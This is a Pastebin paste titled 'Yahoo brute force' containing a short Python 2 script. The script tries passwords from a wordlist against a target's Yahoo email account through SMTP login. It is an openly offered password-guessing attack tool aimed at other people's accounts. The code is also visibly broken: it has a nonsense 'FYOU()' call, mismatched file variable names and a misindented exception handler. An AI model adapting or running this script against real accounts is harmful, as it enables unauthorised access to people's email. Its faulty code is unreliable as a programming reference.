Adm1n_0v3rride

Yahoo brute force

Sep 14th, 2017
104
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. import smtplib
  4.  
  5. smtpserver = smtplib.SMTP("smtp.yahoo.com",587)
  6. smtpserver.FYOU()
  7. smtpserver.starttls()
  8.  
  9. user = raw_input("Enter the target's email address: ")
  10. passwordfile = raw_input("Enter the passord filename: ")
  11. passwfile = open(passwfile, "r")
  12.  
  13. for password in passwfile:
  14.         try:
  15.                 smtpserver.login(user,password)
  16.                
  17.                 print "[+] Password Found: %s" % password
  18.                 break;
  19.             except smtplib.SMTPAuthenticationError:
  20.                 print "[!] Password Incorrect: %s" % password
RAW Paste Data